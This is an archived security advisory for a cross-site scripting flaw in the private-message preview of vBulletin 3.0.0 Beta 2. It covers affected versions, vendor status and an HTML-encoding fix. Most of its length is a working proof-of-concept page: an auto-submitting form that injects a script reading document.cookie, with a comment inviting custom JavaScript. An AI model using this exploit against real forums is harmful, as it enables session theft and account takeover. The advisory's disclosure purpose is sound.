TUCoPS :: Web BBS :: Frequently Exploited

TUCoPS :: Web BBS :: Frequently Exploited :: bt178.txt
VBulletin Preview Message - XSS Vuln


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VBulletin Private Message "Preview Message" XSS Vulnerability
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Any kind of XSS attacks possibility.

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About VBulletin;
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PHP Based Popular Forum Application
Vendor & Demo;
http://www.vbulletin.com/

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Vulnerable;
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vBulletin 3.0.0 Beta 2

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Non Vulnerable;
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vBulletin 2.2

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Vendor Status;
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I can not contact vendor for this issue ! No patch available at the moment;

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Solution;
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HTML Encoding like post thread preview page;

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Exploit Code;
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<html>
<body>
 <form action="http://[victim]/forum/private.php" method="post"
name="vbform">
  <input type="hidden" name="do" value="insertpm" />
  <input type="hidden" name="pmid" value="" />
  <input type="hidden" name="forward" value="" />
  <input type="hidden" name="receipt" value="0" />

  <input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
  <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
  <input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
  <input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

  <input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
  <input type="checkbox" name="signature" value="1" id="cb_signature"  />
  <input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
  <input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies"  />
 </form>
<script>
 //Set Values and Submit
 // You can write your own JS codes
 var xss = "\"><script>alert(document.cookie)<\/script>";
 document.vbform.title.value=xss;
 document.vbform.preview.click();
</script>
</body>
</html>


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Ferruh Mavituna
Web Application Security Consultant
Freelance Developer & Designer
http://ferruh.mavituna.com
ferruh@mavituna.com